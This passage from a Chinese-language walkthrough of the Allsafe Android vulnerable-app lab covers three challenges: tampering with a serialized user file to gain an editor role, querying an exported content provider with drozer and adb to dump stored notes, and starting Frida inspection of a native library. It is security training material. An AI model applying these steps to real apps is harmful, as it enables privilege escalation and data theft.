        load.setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.ObjectSerialization$$ExternalSyntheticLambda1
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$1(path, view2);
            }
        });
        return view;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$0(TextInputEditText username, TextInputEditText password, String path, View v) {
        if (!((Editable) Objects.requireNonNull(username.getText())).toString().isEmpty() &amp;amp;&amp;amp; !((Editable) Objects.requireNonNull(password.getText())).toString().isEmpty()) {
            User user = new User(username.getText().toString(), password.getText().toString());
            try {
                File file = new File(path);
                FileOutputStream fos = new FileOutputStream(file);
                ObjectOutputStream oos = new ObjectOutputStream(fos);
                oos.writeObject(user);
                oos.close();
                fos.close();
            } catch (IOException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
            }
            SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;User data successfully saved!&quot;);
            return;
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Fill out the fields!&quot;);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$1(String path, View v) {
        if (new File(path).exists()) {
            try {
                File file = new File(path);
                FileInputStream fis = new FileInputStream(file);
                ObjectInputStream ois = new ObjectInputStream(fis);
                User user = (User) ois.readObject();
                ois.close();
                fis.close();
                if (!user.role.equals(&quot;ROLE_EDITOR&quot;)) {
                    SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Sorry, only editors have access!&quot;);
                } else {
                    SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Good job!&quot;);
                    Toast.makeText(requireContext(), user.toString(), 0).show();
                }
                return;
            } catch (IOException | ClassNotFoundException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
                return;
            }
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;File not found!&quot;);
    }

    public static class User implements Serializable {
        String password;
        String role = &quot;ROLE_AUTHOR&quot;;
        String username;

        public User() {
        }

        public User(String username, String password) {
            this.username = username;
            this.password = password;
        }

        public String toString() {
            return &quot;User{username=&apos;&quot; + this.username + &quot;&apos;, password=&apos;&quot; + this.password + &quot;&apos;, role=&apos;&quot; + this.role + &quot;&apos;}&quot;;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开文件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：1:151 USER.DAT /ME @ @ DASSWORDTILLAVA/LANG/STRING/STRING/L USERNAMEQ~XPT 123456T 123456T ROLE AUTHORT WEIXIAO SR-INFOSECADVENTURES.ALLSAFE.CHALLENGES.OBJECTSERIALIZATION$USER --&amp;gt;
&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接修改保存&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：1:164 UTF-8 *USER.DAT --&amp;gt;
&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就意味着我们有了更高的权限&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Insecure Providers不安全的提供商&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：INSECURE PROVIDERS [HARD] EXPLOIT INSECURE CONTENT PROVIDERS [CHALLENGE 17] EXPLOIT PROVIDER MISSION BRIEFING WE GOT A REPORT THAT OUR NOTES DATABASE LEA ASE LEAKED THROUGH AN INS TEAM SAID IT&apos;S EASY N INSECURE CONTENT PROVIDER. FORTUNATELY, THE DEV AN TO SECURE ANDROID INTER PROCESS COMMUNICATION. THE APP APP A E WITH OTHER APPS... PP ALSO PROVIDES ACCESS TO SOME FILES WHICH WE SHARE WIL E FILE LEAK. CAN YOU CHECK IF THE IMPLEMENTATION IS GOO 5 GOOD ENOUGH? ALLSAFE CAN&apos;T AFFORD ANOTHER SENSITIVE --&amp;gt;
&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;挑战中提到我们有两个不安全的内容提供商，第一个是数据库提供商，第二个是文件提供商&lt;/p&gt;
&lt;p&gt;但我们用drozer扫的时候只有一个是可导出状态，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dz&amp;gt; run app.package.attacksurface infosecadventures.allsafe
Attempting to run shell module
Attack Surface:
  3 activities exported
  2 broadcast receivers exported
  1 content providers exported
  1 services exported
    is debuggable
dz&amp;gt; run app.service.info -a infosecadventures.allsafe
Attempting to run shell module
Package: infosecadventures.allsafe
  infosecadventures.allsafe.challenges.RecorderService
    Permission: null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们去AndroidMainfest.xml文件看看，那个是可导出，呢个不可导出&lt;/p&gt;
&lt;p&gt;我们可以看到数据提供商是可导出的，文件提供商是不可导出的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：&amp;lt;PROVIDER ANDROID:NAME:&quot;INFOSECADVENTURES.ALLSAFE.CHALLENGES.DATAPROVIDEN&quot; ANDROID:ENABLEDTRUE&quot; ANDROID:EXPORTED&quot;TRUE&quot; ANDROID:AUTHORITIES-&quot;INFOSECADVENTURES.ALLSAFE.DATAPROVIDER&quot;/&amp;gt; &amp;lt;PROVIDER ANDROID:NAME:&quot;ANDROIDX.CORE.CONTENT.FILEPROVIDER&quot; ANDROID:EXPORTED&quot;FALSE&quot; ANDROID:AUTHORITIES-&quot;INFOSECADVENTURES.ALLSAFE.FILEPROVIDER&quot; ANDROID:GRANTURIPERMISSIONS&quot;TRVE&quot;&amp;gt; &amp;lt;META-DATA ANDROID:NAME-&quot;ANDROID.SUPPORT.FILE.PROVIDER PATHS&quot; ANDROID:RESOURCE&quot;@XML/PROVIDER_PATHS&quot;/&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们先利用数据的可导出性，看看有啥东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; adb shell content query --uri &quot;content://infosecadventures.allsafe.dataprovider&quot;
Row: 0 id=1, user=admin, note=I can not believe that Jill is still using 123456 as her password...
Row: 1 id=2, user=elliot.alderson, note=A bug is never just a mistake. It represents something bigger. An error of thinking. That makes you who you are.
Row: 2 id=3, user=darlene.alderson, note=That’s the trick about money. Banks care more about it than anything else.
Row: 3 id=4, user=gideon.goddard, note=You’re never sure about anything unless there’s something to be sure about.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然文件没有导出，但FileProvider 的 grantUriPermissions=&quot;true&quot; 这意味着 AllSafe 应用中的其他组件 （例如已导出的 Activity）可以使用 Intent 和已授权的 URI 与该提供程序进行交互。&lt;/p&gt;
&lt;p&gt;通常是通过 Intent 中的 FLAG_GRANT_READ_URI_PERMISSION 或 FLAG_GRANT_WRITE_URI_PERMISSION 标志。但是，要实现这一点，应用必须显式地共享一个 URI。&lt;/p&gt;
&lt;p&gt;如果 AllSafe 应用中存在导出的活动、服务或广播接收器，可以接受指向 FileProvider 管理的文件的 URI 的 Intents ，那么我们就可以滥用此机制来读取或写入应该受到限制的文件。&lt;/p&gt;
&lt;p&gt;要有效利用 FileProvider ，你需要弄清楚通过 URI 共享的文件的真实路径 。Android 的 FileProvider 不会直接暴露完整的文件路径；相反，它使用 URI 映射到某些预定义目录中的文件。&lt;/p&gt;
&lt;p&gt;在他下面可以看到xml文件的名字&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：SMETA-DATA ANDROID:NAME-&quot;ANDROID.SUPPORT.FILE_PROVIDER_PATHS&quot; ANDROID:RESOURCE&quot;@XML/PROVIDER_PATHS&quot;/&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接去找&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：&amp;lt;?XML VERSION:&quot;1.0&quot; ENCODING:&quot;UTF-8&quot;?&amp;gt; &amp;amp;PATHS&amp;gt; &amp;lt;FILES-PATH NAME&quot;FILES&quot; PATH &amp;lt;/PATHS&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;files-path&amp;gt; 元素表明 FileProvider 已配置为公开应用程序内部存储 files/ 目录下的文件。具体来说， path=&quot;.&quot; 表示应用程序内部 files/ 目录中的所有文件都可能通过 FileProvider 访问。&lt;/p&gt;
&lt;p&gt;files-path 指的是应用程序的内部存储位置 /data/data/infosecadventures.allsafe/files/&lt;/p&gt;
&lt;p&gt;由于 path=&quot;.&quot; ，因此可以访问该目录中的所有文件&lt;/p&gt;
&lt;p&gt;现在，是时候在 AllSafe 应用中寻找其他组件 （如导出的活动），以便使用 Intent 和授权 URI 与提供商进行交互。&lt;/p&gt;
&lt;p&gt;看作者的wp发现有一个名为 ProxyActivity 导出活动，它将 intent 作为额外的参数传递。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：JADX INFO:LOADEDFROM:CLASSESSES5.DEX */ PUBLIC CLASS PROXYACTIVITY EXTENDS APPCOMPATACTIVITY ( IL  ONDRETER  RRINT  RRAYMORTEETS  ENTEETS, ONTS  ETIVETIVETIVITEETIVITEETIVITEETS, ETIVITE    ETIVIT @OVERRIDE // AN PROTECTED VOID ONCREATE(BUNDLE SAVEDINSTANCESTATE) { SUPER.ONCREATE(SAVEDINSTANCESTATE); STARTACTIVITY((INTENT) GETINTENT().GETPARCELABLEEXTRA(&quot;EXTRA.INTENT&apos;); --&amp;gt;
&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于该活动会被导出，且似乎并未验证额外信息的意图或来源， 因此攻击者可能利用此漏洞触发任意活动 ，例如启动一个带有恶意意图的活动。这意味着任何包含名为 &quot;extra_intent&quot; 的额外信息的意图都可能导致 ProxyActivity 启动另一个活动，而 &quot;extra_intent&quot; 的内容可能由攻击者控制。&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Native Library  &amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;本地so库在native层&lt;/p&gt;
&lt;p&gt;在frida交互界面&lt;/p&gt;
&lt;p&gt;位置在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; Process.findModuleByName(&quot;libnative_library.so&quot;)
{
    &quot;base&quot;: &quot;0x763879583000&quot;,
    &quot;name&quot;: &quot;libnative_library.so&quot;,
    &quot;path&quot;: &quot;/data/app/infosecadventures.allsafe-CW6W470gPQ-sX6s2-BUJPA==/lib/x86_64/libnative_library.so&quot;,
    &quot;size&quot;: 311296,
    &quot;version&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出的函数有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; m.enumerateExports().map(e =&amp;gt; e.name)
[
    &quot;_ZN7_JNIEnv24ReleaseByteArrayElementsEP11_jbyteArrayPai&quot;,
    &quot;_ZTSPw&quot;,
    &quot;_ZdaPvmSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5rfindEcm&quot;,
    &quot;_ZNSt6__ndk14stodERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;_ZTSPx&quot;,
    &quot;__cxa_throw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4nposE&quot;,
    &quot;_ZTSPy&quot;,
    &quot;_ZNSt10bad_typeidD0Ev&quot;,
    &quot;_ZNSt6__ndk111char_traitsIcE6lengthEPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignERKS5_mm&quot;,
    &quot;__cxa_deleted_virtual&quot;,
    &quot;_ZNSt11logic_errorD0Ev&quot;,
    &quot;_ZTISt13runtime_error&quot;,
    &quot;_ZNSt6__ndk111char_traitsIwE4moveEPwPKwm&quot;,
    &quot;_ZNSt6__ndk14stolERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZNSt9exceptionD2Ev&quot;,
    &quot;__cxa_unexpected_handler&quot;,
    &quot;_ZNSt9bad_allocD2Ev&quot;,
    &quot;_ZNSt11range_errorD2Ev&quot;,
    &quot;_ZNSt12out_of_rangeD2Ev&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE12find_last_ofEPKcmm&quot;,
    &quot;_ZNSt9type_infoD2Ev&quot;,
    &quot;_ZNSt12domain_errorD0Ev&quot;,
    &quot;_ZNSt16invalid_argumentD2Ev&quot;,
    &quot;_ZNSt20bad_array_new_lengthD2Ev&quot;,
    &quot;_ZTISt9exception&quot;,
    &quot;_ZTIPa&quot;,
    &quot;_Z14jstring2stringP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt6__ndk14stoiERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTIPb&quot;,
    &quot;_ZTIDh&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEaSERKS5_&quot;,
    &quot;_ZTIPc&quot;,
    &quot;_ZTIDi&quot;,
    &quot;_ZNKSt8bad_cast4whatEv&quot;,
    &quot;_ZN7_JNIEnv14DeleteLocalRefEP8_jobject&quot;,
    &quot;_ZNSt13runtime_errorC2ERKS_&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4copyEPcmm&quot;,
    &quot;__cxa_rethrow&quot;,
    &quot;_ZTIPd&quot;,
    &quot;_ZTVN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZN7_JNIEnv16CallObjectMethodEP8_jobjectP10_jmethodIDz&quot;,
    &quot;_ZNSt11logic_errorC1ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4findEwm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmPKwm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4nposE&quot;,
    &quot;_ZTVSt13runtime_error&quot;,
    &quot;_ZSt17__throw_bad_allocv&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmRKS5_mm&quot;,
    &quot;_ZTSN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZTIPf&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEED2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE9__grow_byEmmmmmm&quot;,
    &quot;_ZTIPg&quot;,
    &quot;_ZN7_JNIEnv14GetObjectClassEP8_jobject&quot;,
    &quot;_ZTIN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZTIDn&quot;,
    &quot;_ZTIPh&quot;,
    &quot;_ZTIPKa&quot;,
    &quot;_ZTSSt8bad_cast&quot;,
    &quot;_ZN7_JNIEnv11GetMethodIDEP7_jclassPKcS3_&quot;,
    &quot;_ZNSt13runtime_erroraSERKS_&quot;,
    &quot;__cxa_free_exception&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmPKw&quot;,
    &quot;_ZNSt6__ndk15stoulERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZSt14get_unexpectedv&quot;,
    &quot;_ZTIPKb&quot;,
    &quot;_ZTIPi&quot;,
    &quot;_ZNKSt20bad_array_new_length4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmRKS5_mm&quot;,
    &quot;_ZTIPKc&quot;,
    &quot;_ZTIPj&quot;,
    &quot;_ZNSt8bad_castD2Ev&quot;,
    &quot;_ZTIPKd&quot;,
    &quot;_ZNSt11logic_errorC1EPKc&quot;,
    &quot;_ZTIPl&quot;,
    &quot;_ZdaPvm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEmc&quot;,
    &quot;_ZTIPm&quot;,
    &quot;_ZTIPKf&quot;,
    &quot;_ZTIDs&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5rfindEwm&quot;,
    &quot;_ZSt15get_new_handlerv&quot;,
    &quot;__cxa_demangle&quot;,
    &quot;_ZTIPn&quot;,
    &quot;_ZTIPKg&quot;,
    &quot;_ZTSSt15underflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendERKS5_mm&quot;,
    &quot;__cxa_call_unexpected&quot;,
    &quot;_ZTIPKh&quot;,
    &quot;_ZTIPo&quot;,
    &quot;_ZTIDu&quot;,
    &quot;_ZTIPKi&quot;,
    &quot;_Znam&quot;,
    &quot;_ZSt13set_terminatePFvvE&quot;,
    &quot;_ZSt15set_new_handlerPFvvE&quot;,
    &quot;_ZTIPKj&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE21__grow_by_and_replaceEmmmmmmPKw&quot;,
    &quot;_ZTVSt16invalid_argument&quot;,
    &quot;_ZTIN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTIa&quot;,
    &quot;_ZTIPs&quot;,
    &quot;_ZTIPKl&quot;,
    &quot;__cxa_begin_catch&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE17find_first_not_ofEPKcmm&quot;,
    &quot;_ZTSN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZTIb&quot;,
    &quot;_ZTIPt&quot;,
    &quot;_ZTIPKm&quot;,
    &quot;_ZTVSt9bad_alloc&quot;,
    &quot;_Z18hardcoreEncryptionP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt9bad_allocC1Ev&quot;,
    &quot;_ZTIc&quot;,
    &quot;_ZTIPKn&quot;,
    &quot;_ZNSt14overflow_errorD2Ev&quot;,
    &quot;_ZNSt12length_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5eraseEmm&quot;,
    &quot;_ZTIPv&quot;,
    &quot;_ZTIPKo&quot;,
    &quot;_ZTId&quot;,
    &quot;_ZNSt13bad_exceptionD2Ev&quot;,
    &quot;_ZNSt13runtime_errorC2EPKc&quot;,
    &quot;_ZNSt6__ndk1plIcNS_11char_traitsIcEENS_9allocatorIcEEEENS_12basic_stringIT_T0_T1_EEPKS6_RKS9_&quot;,
    &quot;_ZTVSt12out_of_range&quot;,
    &quot;_ZTIPw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2IDnEEPKc&quot;,
    &quot;_ZdaPvSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk110to_wstringEd&quot;,
    &quot;_ZTIPx&quot;,
    &quot;_ZTIf&quot;,
    &quot;_ZNSt20bad_array_new_lengthC1Ev&quot;,
    &quot;__gxx_personality_v0&quot;,
    &quot;_ZTIPy&quot;,
    &quot;_ZTIg&quot;,
    &quot;_ZNSt11logic_errorC2ERKS_&quot;,
    &quot;_ZNSt13runtime_errorC2ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk110to_wstringEf&quot;,
    &quot;__cxa_uncaught_exception&quot;,
    &quot;_ZTIh&quot;,
    &quot;_ZTIPKs&quot;,
    &quot;_ZTSSt13bad_exception&quot;,
    &quot;_ZTVSt11range_error&quot;,
    &quot;_ZNSt15underflow_errorD2Ev&quot;,
    &quot;_ZTVSt9type_info&quot;,
    &quot;_ZdlPvmSt11align_val_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE9__grow_byEmmmmmm&quot;,
    &quot;_ZNSt6__ndk110to_wstringEg&quot;,
    &quot;_ZTIPKt&quot;,
    &quot;_ZTIi&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEaSEw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5eraseEmm&quot;,
    &quot;_ZTIj&quot;,
    &quot;_ZNSt6__ndk15stoldERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZNSt6__ndk110to_wstringEi&quot;,
    &quot;_ZTIPKv&quot;,
    &quot;_ZNSt9exceptionD0Ev&quot;,
    &quot;_ZNSt9bad_allocD0Ev&quot;,
    &quot;_ZNSt11range_errorD0Ev&quot;,
    &quot;_ZNSt13runtime_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED1Ev&quot;,
    &quot;_ZdaPv&quot;,
    &quot;_ZNSt6__ndk110to_wstringEj&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_mmRKS4_&quot;,
    &quot;_ZTIPKw&quot;,
    &quot;_ZTIl&quot;,
    &quot;_ZNSt12out_of_rangeD0Ev&quot;,
    &quot;_ZNSt11logic_erroraSERKS_&quot;,
    &quot;_ZTIm&quot;,
    &quot;_ZTIPKx&quot;,
    &quot;_ZNSt16invalid_argumentD0Ev&quot;,
    &quot;_ZTSSt14overflow_error&quot;,
    &quot;_ZNSt9type_infoD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEPKc&quot;,
    &quot;_ZNSt6__ndk110to_wstringEl&quot;,
    &quot;__cxa_get_globals&quot;,
    &quot;_ZTVN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTIPKy&quot;,
    &quot;_ZTIn&quot;,
    &quot;_ZNSt20bad_array_new_lengthD0Ev&quot;,
    &quot;_ZNKSt10bad_typeid4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEPKw&quot;,
    &quot;_ZNSt6__ndk110to_wstringEm&quot;,
    &quot;_ZTIo&quot;,
    &quot;_ZTVN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZTSSt9exception&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmPKcm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_RKS4_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEC1ERKS5_RKS4_&quot;,
    &quot;_ZNKSt9exception4whatEv&quot;,
    &quot;_ZNSt8bad_castC1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE9push_backEc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4findEPKwmm&quot;,
    &quot;_ZTIN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZTVSt15underflow_error&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5rfindEPKcmm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEPKc&quot;,
    &quot;_ZNSt6__ndk16stoullERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTVSt12domain_error&quot;,
    &quot;_ZNSt10bad_typeidC2Ev&quot;,
    &quot;_ZTVN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZTIs&quot;,
    &quot;Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword&quot;,
    &quot;_ZSt7nothrow&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE21__grow_by_and_replaceEmmmmmmPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEPKwm&quot;,
    &quot;_ZTIt&quot;,
    &quot;_ZdlPvSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4findEPKcmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEPKwmm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE9push_backEw&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEPKw&quot;,
    &quot;_ZTIv&quot;,
    &quot;_ZTIN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZTSSt20bad_array_new_length&quot;,
    &quot;_ZTISt16invalid_argument&quot;,
    &quot;_ZTIw&quot;,
    &quot;_ZTSPKDh&quot;,
    &quot;__cxa_new_handler&quot;,
    &quot;_ZTIx&quot;,
    &quot;_ZTSPKDi&quot;,
    &quot;_ZTVN10__cxxabiv117__pbase_type_infoE&quot;,
    &quot;_ZNSt8bad_castD0Ev&quot;,
    &quot;_ZNSt6__ndk16__itoa8__u32toaEjPc&quot;,
    &quot;_ZTISt9bad_alloc&quot;,
    &quot;_ZTIy&quot;,
    &quot;_ZTSN10__cxxabiv117__array_type_infoE&quot;,
    &quot;_ZNSt6__ndk117__compressed_pairINS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5__repES5_EC2INS_18__default_init_tagESA_EEOT_OT0_&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm&quot;,
    &quot;__cxa_end_catch&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmPKwm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmPKw&quot;,
    &quot;_ZNSt6__ndk110to_wstringEx&quot;,
    &quot;_ZSt10unexpectedv&quot;,
    &quot;_ZTIPDh&quot;,
    &quot;_ZNSt10bad_typeidD1Ev&quot;,
    &quot;_ZNSt6__ndk110to_wstringEy&quot;,
    &quot;_ZTIPDi&quot;,
    &quot;_ZNSt11logic_errorD1Ev&quot;,
    &quot;_ZSt13get_terminatev&quot;,
    &quot;_ZTIN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEmc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertENS_11__wrap_iterIPKcEEc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6__initEmw&quot;,
    &quot;_ZTVN10__cxxabiv117__class_type_infoE&quot;,
    &quot;_ZTSPKDn&quot;,
    &quot;_ZdlPvSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk121__basic_string_commonILb1EE20__throw_out_of_rangeEv&quot;,
    &quot;_ZNSt12domain_errorD1Ev&quot;,
    &quot;_ZdlPv&quot;,
    &quot;_ZTISt9type_info&quot;,
    &quot;_ZNSt6__ndk15stollERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZTVN10__cxxabiv120__si_class_type_infoE&quot;,
    &quot;_ZTIPDn&quot;,
    &quot;_ZTSN10__cxxabiv116__enum_type_infoE&quot;,
    &quot;_ZTISt8bad_cast&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertENS_11__wrap_iterIPKwEEw&quot;,
